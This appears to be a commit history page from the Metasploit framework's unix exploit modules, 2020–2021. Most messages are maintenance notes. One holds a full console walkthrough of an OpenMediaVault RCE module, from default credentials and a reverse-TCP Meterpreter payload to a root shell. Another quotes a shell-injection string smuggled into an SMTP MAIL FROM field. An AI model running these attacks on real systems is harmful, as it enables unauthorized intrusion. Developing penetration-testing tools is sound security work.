Commit Graph

1572 Commits

Author SHA1 Message Date
Brendan Coles 70bb693660 rubocop -a modules/exploits/unix/local/ 2021-01-21 19:59:29 +00:00
William Vu 7ce10f68ae RuboCop for great justice
And update docs.
2021-01-21 10:44:18 -06:00
Spencer McIntyre 131bf632bd Update the OpenSMTPD target versions and add the EDB reference 2021-01-21 09:09:42 -05:00
William Vu a336ee483a Update exploit/unix/smtp/opensmtpd_mail_from_rce
Failure was caused by POSIX read requiring an argument.
2021-01-21 03:56:19 -06:00
zomfg-zombie 364591069c Fix payload failing to trigger
For whatever reason,  `;for #{rand_text_alpha(1)} in #{iter};do read;done;sh;exit 0;` causes an issue with the payload triggering.

Editing `do read` to `do read r`, as taken from the PoC script at https://www.exploit-db.com/exploits/48051, causes the `MAIL_FROM` field to exceed 64 characters.

However, this seems to make 0 difference to the payload, so I commented out the length check.

Reliably working on OpenSMTPd 6.6.0 on an Ubuntu 20.04 host.
2021-01-19 18:31:35 +10:00
Anurag Mondal 2465c6ca0f Update webmin_show_cgi_exec.rb
Fixed some typos.
2021-01-07 15:05:53 +05:30
dwelch-r7 1617b3ec9b Use zeitwerk for lib/msf/core folder 2020-12-07 10:31:45 +00:00
Spencer McIntyre a322647913 Change the cookie to PHPSESSID from my_id for the Simple PHP blog exploit 2020-12-02 10:09:05 -05:00
justinopatrny c200a274b2 Corrected headers check for retrieved cookie
Previous get_cookies method not working properly
2020-11-29 19:07:44 -06:00
Grant Willcox efdc7f062e Land #14241, OpenMediaVault 5.5.11 Authenticated Remote Code Execution 2020-11-24 13:42:53 -06:00
Grant Willcox e0a8aff72b Ninja edit in fix to remove support for IN_MEMORY Unix payloads since most of them don't work correctly or return multiple shells if they do work. Will potentially add this in with another PR once fixes are made to make it more reliable 2020-11-24 13:41:57 -06:00
A Galway 0328e3f815 Land #14359, gives preference to default target options 2020-11-13 14:44:13 +00:00
h00die 4c39695a50 remove cwe-20 from chkrootkit 2020-11-10 12:01:08 -05:00
Grant Willcox 34697ecc11 Apply further fixes from the review process 2020-11-09 12:11:25 -06:00
stasinopoulos 2d81187b3c Update regarding OMV version identification 2020-11-09 08:58:05 +02:00
stasinopoulos fc2e9f7c89 Minor update after rubocop run 2020-11-08 10:27:59 +02:00
stasinopoulos ad5b0af9c6 Fixes n' updates 2020-11-08 10:26:31 +02:00
Alan Foster 5b438fd933 Preference target values when registering options 2020-11-05 23:16:37 +00:00
Justin Steven 61f7f01f37 Nicer certificate expiration
Co-authored-by: bcoles <bcoles@gmail.com>
2020-10-31 12:14:18 +10:00
Justin Steven cb14287cb2 Add metasploit_msfvenom_apk_template_cmd_injection 2020-10-31 11:28:28 +10:00
stasinopoulos e8823e2630 Minor update 2020-10-11 10:38:58 +03:00
stasinopoulos 361d16b860 Added fail_with and removed redundant else after return. 2020-10-10 19:25:28 +03:00
Anastasios Stasinopoulos 84908108fa Update modules/exploits/unix/webapp/openmediavault_rpc_rce.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2020-10-10 18:59:03 +03:00
stasinopoulos a3fac9619c Minor updates 2020-10-09 16:32:44 +03:00
stasinopoulos 9338f9ca4c Updates regarding the logic surrounding login and check 2020-10-09 14:07:22 +03:00
Anastasios Stasinopoulos 51fef32684 Update modules/exploits/unix/webapp/openmediavault_rpc_rce.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2020-10-09 12:29:16 +03:00
Anastasios Stasinopoulos 5184241315 Update modules/exploits/unix/webapp/openmediavault_rpc_rce.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2020-10-09 12:29:08 +03:00
stasinopoulos 9fc9b51c0f Multiple fixes and updates 2020-10-09 11:56:11 +03:00
stasinopoulos c165b6b392 Fix regarding redundant else after return. 2020-10-09 08:27:43 +03:00
stasinopoulos 6c60a4a39c Update regarding using to_json 2020-10-08 20:51:33 +03:00
Anastasios Stasinopoulos f85ec97233 Update modules/exploits/unix/webapp/openmediavault_rpc_rce.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2020-10-08 19:56:00 +03:00
Anastasios Stasinopoulos c3d37bde0d Update modules/exploits/unix/webapp/openmediavault_rpc_rce.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2020-10-08 19:55:22 +03:00
Anastasios Stasinopoulos 23685cdd66 Update modules/exploits/unix/webapp/openmediavault_rpc_rce.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2020-10-08 19:54:37 +03:00
stasinopoulos 9577282ac8 Altered default PAYLOAD in Target "1" (i.e. "Unix In-Memory") 2020-10-08 09:40:26 +03:00
stasinopoulos 7badf4eb8d Minor updates 2020-10-07 12:25:32 +03:00
stasinopoulos 23990da22d Fix regarding incorrect disclosure date format 2020-10-07 11:02:20 +03:00
stasinopoulos 44e3d11068 Rubocop check 2020-10-07 10:44:24 +03:00
stasinopoulos ca3a4cacb5 OpenMediaVault 5.5.11 Authenticated Remote Code Execution
This module exploits an authenticated PHP code injection vulnerability found in openmediavault before 4.1.36 and 5.x before 5.5.12  inclusive in the "sortfield" POST parameter of "rpc.php" page, because json_encode_safe is not used in config/databasebackend.inc. Successful exploitation allows arbitrary command execution on the underlying operating system as root.

### Usage Example
```
msf6 > use exploit/unix/webapp/openmediavault_rpc_rce
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/openmediavault_rpc_rce) > show options

Module options (exploit/unix/webapp/openmediavault_rpc_rce):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   HttpPassword  openmediavault   yes       Password to login with
   HttpUsername  admin            yes       User to login with
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT         80               yes       The target port (TCP)
   SRVHOST       0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT       8080             yes       The local port to listen on.
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                        no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                        no        The URI to use for this exploit (default is random)
   VHOST                          no        HTTP server virtual host

Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic (Linux Dropper)

msf6 exploit(unix/webapp/openmediavault_rpc_rce) > set rhosts 192.168.56.108
rhosts => 192.168.56.108
msf6 exploit(unix/webapp/openmediavault_rpc_rce) > set lhost 192.168.56.105
lhost => 192.168.56.105
msf6 exploit(unix/webapp/openmediavault_rpc_rce) > exploit

[*] Started reverse TCP handler on 192.168.56.105:4444
[*] 192.168.56.108:80 - Authenticating using "admin:openmediavault" credentials...
[+] 192.168.56.108:80 - Authenticated successfully.
[+] 192.168.56.108:80 - OpenMediaVault version 5.5.11 identified.
[*] 192.168.56.108:80 - Sending payload (150 bytes)...
[*] Sending stage (976712 bytes) to 192.168.56.108
[*] Meterpreter session 1 opened (192.168.56.105:4444 -> 192.168.56.108:38508) at 2020-10-07 01:16:01 -0400
[*] Command Stager progress - 100.00% done (799/799 bytes)

meterpreter > sysinfo
Computer     : 192.168.56.108
OS           : Debian 10.5 (Linux 5.7.0-0.bpo.2-amd64)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter > shell
Process 1499 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=0(root)
```
2020-10-07 09:59:45 +03:00
Alan Foster 30809787c4 Convert disclosure dates to iso8601 2020-10-02 21:00:37 +01:00
Alan Foster 26ff912291 Fix invalid disclosure date formats 2020-10-02 12:20:05 +01:00
William Vu a6f7c0c0de Backport miscellaneous fixes to my modules 2020-08-14 13:40:23 -05:00
Brendan Coles f9a5de87f8 Land #13789, Add OpenSIS Unauthenticated PHP Code Execution module 2020-07-04 15:49:45 +00:00
EgiX b286eda4d1 Update opensis_chain_exec.rb 2020-07-03 18:00:36 +02:00
EgiX 3866d875e1 Update modules/exploits/unix/webapp/opensis_chain_exec.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2020-07-03 17:38:33 +02:00
EgiX 60ec23c271 Update opensis_chain_exec.rb 2020-07-01 23:38:07 +02:00
William Vu 5ec31d2e41 Update recent modules to use prepend 2020-07-01 14:43:15 -05:00
EgiX bd3f772bbc Add openSIS Unauthenticated PHP Code Execution
This PR is for a module that exploit multiple vulnerabilities in openSIS 7.4 and prior versions which could be abused by unauthenticated attackers to execute arbitrary PHP code with the permissions of the webserver. The module has been successfully tested with openSIS version 7.3 and 7.4 running on a LAMP system.
2020-06-30 15:35:32 +02:00
Alan Foster b841246536 Update autocheck to use prepend instead of include, add ForceExploit functionality 2020-06-30 11:40:46 +01:00
William Vu 156eea4292 Fix cleanup blocking on payload execution 2020-06-28 23:07:10 -05:00
William Vu b81629d099 Clean up module 2020-06-28 23:07:10 -05:00